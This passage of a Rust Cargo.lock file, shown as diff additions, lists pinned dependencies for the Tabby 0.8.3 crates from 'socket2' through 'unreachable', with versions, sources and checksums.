+ "libc", + "winapi", +] + +[[package]] +name = "socket2" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" +dependencies = [ + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" + +[[package]] +name = "stable_deref_trait" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3" + +[[package]] +name = "stacker" +version = "0.1.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c886bd4480155fd3ef527d45e9ac8dd7118a898a46530b7b94c3e21866259fce" +dependencies = [ + "cc", + "cfg-if", + "libc", + "psm", + "winapi", +] + +[[package]] +name = "static_assertions" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" + +[[package]] +name = "strfmt" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a8348af2d9fc3258c8733b8d9d8db2e56f54b2363a4b5b81585c7875ed65e65" + +[[package]] +name = "strsim" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6446ced80d6c486436db5c078dde11a9f73d42b57fb273121e160b84f63d894c" + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "strum" +version = "0.24.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "063e6045c0e62079840579a7e47a355ae92f60eb74daaf156fb1e84ba164e63f" +dependencies = [ + "strum_macros", +] + +[[package]] +name = "strum_macros" +version = "0.24.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e385be0d24f186b4ce2f9982191e7101bb737312ad61c1f2f984f34bcf85d59" +dependencies = [ + "heck", + "proc-macro2", + "quote", + "rustversion", + "syn 1.0.109", +] + +[[package]] +name = "subtle" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81cdd64d312baedb58e21336b31bc043b77e01cc99033ce76ef539f78e965ebc" + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "239814284fd6f1a4ffe4ca893952cdd93c224b6a1571c9a9eadd670295c0c9e2" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" + +[[package]] +name = "sysinfo" +version = "0.29.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d10ed79c22663a35a255d289a7fdcb43559fc77ff15df5ce6c341809e7867528" +dependencies = [ + "cfg-if", + "core-foundation-sys", + "libc", + "ntapi", + "once_cell", + "rayon", + "winapi", +] + +[[package]] +name = "system-configuration" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba3a3adc5c275d719af8cb4272ea1c4a6d668a777f37e115f6d11ddbc1c8e0e7" +dependencies = [ + "bitflags 1.3.2", + "core-foundation", + "system-configuration-sys", +] + +[[package]] +name = "system-configuration-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75fb188eb626b924683e3b95e3a48e63551fcfb51949de2f06a9d91dbee93c9" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "tabby" +version = "0.8.3" +dependencies = [ + "anyhow", + "assert-json-diff", + "async-stream", + "async-trait", + "axum", + "axum-prometheus", + "axum-tracing-opentelemetry", + "chrono", + "clap", + "futures", + "http-api-bindings", + "hyper", + "insta", + "lazy_static", + "llama-cpp-bindings", + "minijinja", + "nvml-wrapper", + "openssl", + "opentelemetry", + "opentelemetry-otlp", + "regex", + "reqwest", + "serde", + "serde-jsonlines 0.5.0", + "serde_json", + "serdeconv", + "serial_test 3.0.0", + "strfmt", + "strum", + "sysinfo", + "tabby-common", + "tabby-download", + "tabby-inference", + "tabby-scheduler", + "tabby-webserver", + "tantivy", + "textdistance", + "thiserror", + "tokio", + "tower-http 0.4.0", + "tracing", + "tracing-opentelemetry", + "tracing-subscriber 0.3.17", + "utoipa", + "utoipa-swagger-ui", + "uuid 1.6.1", + "vergen", +] + +[[package]] +name = "tabby-common" +version = "0.8.3" +dependencies = [ + "anyhow", + "async-trait", + "filenamify", + "glob", + "home", + "lazy_static", + "regex", + "reqwest", + "serde", + "serde-jsonlines 0.4.0", + "serde_json", + "serdeconv", + "tantivy", + "thiserror", + "utoipa", + "uuid 1.6.1", +] + +[[package]] +name = "tabby-db" +version = "0.8.3" +dependencies = [ + "anyhow", + "assert_matches", + "chrono", + "include_dir", + "lazy_static", + "rusqlite", + "rusqlite_migration", + "tabby-common", + "tokio", + "tokio-rusqlite", + "uuid 1.6.1", +] + +[[package]] +name = "tabby-download" +version = "0.8.3" +dependencies = [ + "aim-downloader", + "anyhow", + "sha256", + "tabby-common", + "tokio-retry", + "tracing", +] + +[[package]] +name = "tabby-inference" +version = "0.8.3" +dependencies = [ + "async-stream", + "async-trait", + "dashmap", + "derive_builder", + "futures", + "regex", + "tabby-common", +] + +[[package]] +name = "tabby-scheduler" +version = "0.8.3" +dependencies = [ + "anyhow", + "cargo-lock", + "file-rotate", + "ignore", + "job_scheduler", + "kdam", + "lazy_static", + "requirements", + "serde-jsonlines 0.4.0", + "serde_json", + "serdeconv", + "tabby-common", + "tantivy", + "temp_testdir", + "tokio", + "tracing", + "tracing-test", + "tree-sitter-c", + "tree-sitter-cpp", + "tree-sitter-go", + "tree-sitter-java", + "tree-sitter-kotlin", + "tree-sitter-python", + "tree-sitter-ruby", + "tree-sitter-rust", + "tree-sitter-tags", + "tree-sitter-typescript", +] + +[[package]] +name = "tabby-webserver" +version = "0.8.3" +dependencies = [ + "anyhow", + "argon2", + "assert_matches", + "async-trait", + "axum", + "bincode", + "chrono", + "futures", + "hyper", + "jsonwebtoken", + "juniper", + "juniper-axum", + "lazy_static", + "lettre", + "mime_guess", + "pin-project", + "reqwest", + "rust-embed 8.0.0", + "serde", + "serde_json", + "tabby-common", + "tabby-db", + "tarpc", + "thiserror", + "tokio", + "tokio-cron-scheduler", + "tokio-tungstenite", + "tower", + "tower-http 0.4.0", + "tracing", + "unicase", + "uuid 1.6.1", + "validator", +] + +[[package]] +name = "tantivy" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1d4675fed6fe2218ce11445374e181e864a8ffd0f28e7e0591ccfc38cd000ae" +dependencies = [ + "aho-corasick", + "arc-swap", + "async-trait", + "base64 0.21.5", + "bitpacking", + "byteorder", + "census", + "crc32fast", + "crossbeam-channel", + "downcast-rs", + "fastdivide", + "fs4", + "htmlescape", + "itertools 0.11.0", + "levenshtein_automata", + "log", + "lru", + "lz4_flex", + "measure_time", + "memmap2", + "murmurhash32", + "num_cpus", + "once_cell", + "oneshot", + "rayon", + "regex", + "rust-stemmers", + "rustc-hash", + "serde", + "serde_json", + "sketches-ddsketch", + "smallvec", + "tantivy-bitpacker", + "tantivy-columnar", + "tantivy-common", + "tantivy-fst", + "tantivy-query-grammar", + "tantivy-stacker", + "tantivy-tokenizer-api", + "tempfile", + "thiserror", + "time", + "uuid 1.6.1", + "winapi", +] + +[[package]] +name = "tantivy-bitpacker" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cecb164321482301f514dd582264fa67f70da2d7eb01872ccd71e35e0d96655a" +dependencies = [ + "bitpacking", +] + +[[package]] +name = "tantivy-columnar" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d85f8019af9a78b3118c11298b36ffd21c2314bd76bbcd9d12e00124cbb7e70" +dependencies = [ + "fastdivide", + "fnv", + "itertools 0.11.0", + "serde", + "tantivy-bitpacker", + "tantivy-common", + "tantivy-sstable", + "tantivy-stacker", +] + +[[package]] +name = "tantivy-common" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af4a3a975e604a2aba6b1106a04505e1e7a025e6def477fab6e410b4126471e1" +dependencies = [ + "async-trait", + "byteorder", + "ownedbytes", + "serde", + "time", +] + +[[package]] +name = "tantivy-fst" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc3c506b1a8443a3a65352df6382a1fb6a7afe1a02e871cee0d25e2c3d5f3944" +dependencies = [ + "byteorder", + "regex-syntax 0.6.29", + "utf8-ranges", +] + +[[package]] +name = "tantivy-query-grammar" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d39c5a03100ac10c96e0c8b07538e2ab8b17da56434ab348309b31f23fada77" +dependencies = [ + "nom 7.1.3", +] + +[[package]] +name = "tantivy-sstable" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc0c1bb43e5e8b8e05eb8009610344dbf285f06066c844032fbb3e546b3c71df" +dependencies = [ + "tantivy-common", + "tantivy-fst", + "zstd", +] + +[[package]] +name = "tantivy-stacker" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b2c078595413f13f218cf6f97b23dcfd48936838f1d3d13a1016e05acd64ed6c" +dependencies = [ + "murmurhash32", + "tantivy-common", +] + +[[package]] +name = "tantivy-tokenizer-api" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "347b6fb212b26d3505d224f438e3c4b827ab8bd847fe9953ad5ac6b8f9443b66" +dependencies = [ + "serde", +] + +[[package]] +name = "tarpc" +version = "0.33.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f41bce44d290df0598ae4b9cd6ea7f58f651fd3aa4af1b26060c4fa32b08af7" +dependencies = [ + "anyhow", + "fnv", + "futures", + "humantime", + "opentelemetry", + "pin-project", + "rand 0.8.5", + "serde", + "static_assertions", + "tarpc-plugins", + "thiserror", + "tokio", + "tokio-serde", + "tokio-util", + "tracing", + "tracing-opentelemetry", +] + +[[package]] +name = "tarpc-plugins" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ee42b4e559f17bce0385ebf511a7beb67d5cc33c12c96b7f4e9789919d9c10f" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "temp_testdir" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "921f1e9c427802414907a48b21a6504ff6b3a15a1a3cf37e699590949ad9befc" + +[[package]] +name = "tempfile" +version = "3.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9fbec84f381d5795b08656e4912bec604d162bff9291d6189a78f4c8ab87998" +dependencies = [ + "cfg-if", + "fastrand 1.9.0", + "redox_syscall 0.3.5", + "rustix 0.37.19", + "windows-sys 0.45.0", +] + +[[package]] +name = "termcolor" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be55cf8942feac5c765c2c993422806843c9a9a45d4d5c407ad6dd2ea95eb9b6" +dependencies = [ + "winapi-util", +] + +[[package]] +name = "terminal_size" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21bebf2b7c9e0a515f6e0f8c51dc0f8e4696391e6f1ff30379559f8365fb0df7" +dependencies = [ + "rustix 0.38.17", + "windows-sys 0.48.0", +] + +[[package]] +name = "textdistance" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d321c8576c2b47e43953e9cce236550d4cd6af0a6ce518fe084340082ca6037b" + +[[package]] +name = "thiserror" +version = "1.0.49" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1177e8c6d7ede7afde3585fd2513e611227efd6481bd78d2e82ba1ce16557ed4" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.49" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10712f02019e9288794769fba95cd6847df9874d49d871d062172f9dd41bc4cc" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "thread_local" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152" +dependencies = [ + "cfg-if", + "once_cell", +] + +[[package]] +name = "time" +version = "0.3.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a79d09ac6b08c1ab3906a2f7cc2e81a0e27c7ae89c63812df75e52bef0751e07" +dependencies = [ + "deranged", + "itoa", + "libc", + "num_threads", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7300fbefb4dadc1af235a9cef3737cea692a9d97e1b9cbcd4ebdae6f8868e6fb" + +[[package]] +name = "time-macros" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75c65469ed6b3a4809d987a41eb1dc918e9bc1d92211cbad7ae82931846f7451" +dependencies = [ + "time-core", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.35.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "841d45b238a16291a4e1584e61820b8ae57d696cc5015c459c229ccc6990cc1c" +dependencies = [ + "backtrace", + "bytes", + "libc", + "mio", + "num_cpus", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2 0.5.5", + "tokio-macros", + "windows-sys 0.48.0", +] + +[[package]] +name = "tokio-cron-scheduler" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de2c1fd54a857b29c6cd1846f31903d0ae8e28175615c14a277aed45c58d8e27" +dependencies = [ + "chrono", + "cron 0.12.0", + "num-derive", + "num-traits", + "tokio", + "tracing", + "uuid 1.6.1", +] + +[[package]] +name = "tokio-io-timeout" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30b74022ada614a1b4834de765f9bb43877f910cc8ce4be40e89042c9223a8bf" +dependencies = [ + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-macros" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b8a1e28f2deaa14e508979454cb3a223b10b938b45af148bc0986de36f1923b" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "tokio-native-tls" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbae76ab933c85776efabc971569dd6119c580d8f5d448769dec1764bf796ef2" +dependencies = [ + "native-tls", + "tokio", +] + +[[package]] +name = "tokio-retry" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f57eb36ecbe0fc510036adff84824dd3c24bb781e21bfa67b69d556aa85214f" +dependencies = [ + "pin-project", + "rand 0.8.5", + "tokio", +] + +[[package]] +name = "tokio-rusqlite" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc785c98d0c872455381e59be1f33a8f3a6b4e852544212e37601cc2ccb21d39" +dependencies = [ + "crossbeam-channel", + "rusqlite", + "tokio", +] + +[[package]] +name = "tokio-serde" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "911a61637386b789af998ee23f50aa30d5fd7edcec8d6d3dedae5e5815205466" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project", +] + +[[package]] +name = "tokio-stream" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842" +dependencies = [ + "futures-core", + "pin-project-lite", + "tokio", +] + +[[package]] +name = "tokio-tungstenite" +version = "0.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "212d5dcb2a1ce06d81107c3d0ffa3121fe974b73f068c8282cb1c32328113b6c" +dependencies = [ + "futures-util", + "log", + "tokio", + "tungstenite", +] + +[[package]] +name = "tokio-util" +version = "0.7.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5419f34732d9eb6ee4c3578b7989078579b7f039cbbb9ca2c4da015749371e15" +dependencies = [ + "bytes", + "futures-core", + "futures-io", + "futures-sink", + "futures-util", + "hashbrown 0.14.3", + "pin-project-lite", + "slab", + "tokio", + "tracing", +] + +[[package]] +name = "toml" +version = "0.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6135d499e69981f9ff0ef2167955a5333c35e36f6937d382974566b3d5b94ec" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit", +] + +[[package]] +name = "toml_datetime" +version = "0.6.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a76a9312f5ba4c2dec6b9161fdf25d87ad8a09256ccea5a556fef03c706a10f" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.19.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2380d56e8670370eee6566b0bfd4265f65b3f432e8c6d85623f728d4fa31f739" +dependencies = [ + "indexmap 1.9.3", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "tonic" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f219fad3b929bef19b1f86fbc0358d35daed8f2cac972037ac0dc10bbb8d5fb" +dependencies = [ + "async-stream", + "async-trait", + "axum", + "base64 0.13.1", + "bytes", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "hyper", + "hyper-timeout", + "percent-encoding", + "pin-project", + "prost", + "prost-derive", + "tokio", + "tokio-stream", + "tokio-util", + "tower", + "tower-layer", + "tower-service", + "tracing", + "tracing-futures", +] + +[[package]] +name = "tonic-build" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5bf5e9b9c0f7e0a7c027dcfaba7b2c60816c7049171f679d99ee2ff65d0de8c4" +dependencies = [ + "prettyplease", + "proc-macro2", + "prost-build", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "tower" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8fa9be0de6cf49e536ce1851f987bd21a43b771b09473c3549a6c853db37c1c" +dependencies = [ + "futures-core", + "futures-util", + "indexmap 1.9.3", + "pin-project", + "pin-project-lite", + "rand 0.8.5", + "slab", + "tokio", + "tokio-util", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-http" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f873044bf02dd1e8239e9c1293ea39dad76dc594ec16185d0a1bf31d8dc8d858" +dependencies = [ + "bitflags 1.3.2", + "bytes", + "futures-core", + "futures-util", + "http", + "http-body", + "http-range-header", + "pin-project-lite", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-http" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d1d42a9b3f3ec46ba828e8d376aec14592ea199f70a06a548587ecd1c4ab658" +dependencies = [ + "bitflags 1.3.2", + "bytes", + "futures-core", + "futures-util", + "http", + "http-body", + "http-range-header", + "httpdate", + "mime", + "mime_guess", + "percent-encoding", + "pin-project-lite", + "tokio", + "tokio-util", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-layer" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c20c8dbed6283a09604c3e69b4b7eeb54e298b8a600d4d5ecb5ad39de609f1d0" + +[[package]] +name = "tower-service" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" + +[[package]] +name = "tracing" +version = "0.1.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ce8c33a8d48bd45d624a6e523445fd21ec13d3653cd51f681abf67418f54eb8" +dependencies = [ + "cfg-if", + "log", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f57e3ca2a01450b1a921183a9c9cbfda207fd822cef4ccb00a65402cbba7a74" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.32", +] + +[[package]] +name = "tracing-core" +version = "0.1.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0955b8137a1df6f1a2e9a37d8a6656291ff0297c1a97c24e0d8425fe2312f79a" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-futures" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97d095ae15e245a057c8e8451bab9b3ee1e1f68e9ba2b4fbc18d0ac5237835f2" +dependencies = [ + "pin-project", + "tracing", +] + +[[package]] +name = "tracing-log" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78ddad33d2d10b1ed7eb9d1f518a5674713876e97e5bb9b7345a7984fbb4f922" +dependencies = [ + "lazy_static", + "log", + "tracing-core", +] + +[[package]] +name = "tracing-opentelemetry" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "21ebb87a95ea13271332df069020513ab70bdb5637ca42d6e492dc3bbbad48de" +dependencies = [ + "once_cell", + "opentelemetry", + "tracing", + "tracing-core", + "tracing-log", + "tracing-subscriber 0.3.17", +] + +[[package]] +name = "tracing-serde" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bc6b213177105856957181934e4920de57730fc69bf42c37ee5bb664d406d9e1" +dependencies = [ + "serde", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.2.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e0d2eaa99c3c2e41547cfa109e910a68ea03823cccad4a0525dcbc9b01e8c71" +dependencies = [ + "ansi_term", + "chrono", + "lazy_static", + "matchers 0.0.1", + "regex", + "serde", + "serde_json", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", + "tracing-serde", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30a651bc37f915e81f087d86e62a18eec5f79550c7faff886f7090b4ea757c77" +dependencies = [ + "matchers 0.1.0", + "nu-ansi-term", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "tracing-test" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3b48778c2d401c6a7fcf38a0e3c55dc8e8e753cbd381044a8cdb6fd69a29f53" +dependencies = [ + "lazy_static", + "tracing-core", + "tracing-subscriber 0.2.25", + "tracing-test-macro", +] + +[[package]] +name = "tracing-test-macro" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c49adbab879d2e0dd7f75edace5f0ac2156939ecb7e6a1e8fa14e53728328c48" +dependencies = [ + "lazy_static", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "trackable" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15bd114abb99ef8cee977e517c8f37aee63f184f2d08e3e6ceca092373369ae" +dependencies = [ + "trackable_derive", +] + +[[package]] +name = "trackable_derive" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebeb235c5847e2f82cfe0f07eb971d1e5f6804b18dac2ae16349cc604380f82f" +dependencies = [ + "quote", + "syn 1.0.109", +] + +[[package]] +name = "tree-sitter" +version = "0.20.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e747b1f9b7b931ed39a548c1fae149101497de3c1fc8d9e18c62c1a66c683d3d" +dependencies = [ + "cc", + "regex", +] + +[[package]] +name = "tree-sitter-c" +version = "0.20.6" +source = "git+https://github.com/tree-sitter/tree-sitter-c/?rev=212a80f#212a80f86452bb1316324fa0db730cf52f29e05a" +dependencies = [ + "cc", + "tree-sitter", +] + +[[package]] +name = "tree-sitter-cpp" +version = "0.20.3" +source = "git+https://github.com/tree-sitter/tree-sitter-cpp?rev=a714740#a71474021410973b29bfe99440d57bcd750246b1" +dependencies = [ + "cc", + "tree-sitter", +] + +[[package]] +name = "tree-sitter-go" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ad6d11f19441b961af2fda7f12f5d0dac325f6d6de83836a1d3750018cc5114" +dependencies = [ + "cc", + "tree-sitter", +] + +[[package]] +name = "tree-sitter-java" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2adc5696bf5abf761081d7457d2bb82d0e3b28964f4214f63fd7e720ef462653" +dependencies = [ + "cc", + "tree-sitter", +] + +[[package]] +name = "tree-sitter-kotlin" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b5f367466210220a194a2d8831fc12d15aa13305e7bcdf2dba47714aa328e86" +dependencies = [ + "cc", + "tree-sitter", +] + +[[package]] +name = "tree-sitter-python" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dda114f58048f5059dcf158aff691dffb8e113e6d2b50d94263fd68711975287" +dependencies = [ + "cc", + "tree-sitter", +] + +[[package]] +name = "tree-sitter-ruby" +version = "0.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ac30cbb1560363ae76e1ccde543d6d99087421e228cc47afcec004b86bb711a" +dependencies = [ + "cc", + "tree-sitter", +] + +[[package]] +name = "tree-sitter-rust" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "797842733e252dc11ae5d403a18060bf337b822fc2ae5ddfaa6ff4d9cc20bda6" +dependencies = [ + "cc", + "tree-sitter", +] + +[[package]] +name = "tree-sitter-tags" +version = "0.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccb3f1376219530a37a809751ecf65aa35fd8b9c1c4ab6d4faf5f6a9eeda2c05" +dependencies = [ + "memchr", + "regex", + "thiserror", + "tree-sitter", +] + +[[package]] +name = "tree-sitter-typescript" +version = "0.20.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75049f0aafabb2aac205d7bb24da162b53dcd0cfb326785f25a2f32efa8071a" +dependencies = [ + "cc", + "tree-sitter", +] + +[[package]] +name = "try-lock" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3528ecfd12c466c6f163363caf2d02a71161dd5e1cc6ae7b34207ea2d42d81ed" + +[[package]] +name = "tungstenite" +version = "0.20.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e3dac10fd62eaf6617d3a904ae222845979aec67c615d1c842b4002c7666fb9" +dependencies = [ + "byteorder", + "bytes", + "data-encoding", + "http", + "httparse", + "log", + "rand 0.8.5", + "sha1", + "thiserror", + "url", + "utf-8", +] + +[[package]] +name = "typenum" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "497961ef93d974e23eb6f433eb5fe1b7930b659f06d12dec6fc44a8f554c0bba" + +[[package]] +name = "ucd-trie" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed646292ffc8188ef8ea4d1e0e0150fb15a5c2e12ad9b8fc191ae7a8a7f3c4b9" + +[[package]] +name = "unicase" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7d2d4dafb69621809a81864c9c1b864479e1235c0dd4e199924b9742439ed89" +dependencies = [ + "version_check", +] + +[[package]] +name = "unicode-bidi" +version = "0.3.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92888ba5573ff080736b3648696b70cafad7d250551175acbaa4e0385b3e1460" + +[[package]] +name = "unicode-ident" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15811caf2415fb889178633e7724bad2509101cde276048e013b9def5e51fa0" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-width" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c0edd1e5b14653f783770bce4a4dabb4a5108a5370a5f5d8cfe8710c361f6c8b" + +[[package]] +name = "unreachable" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 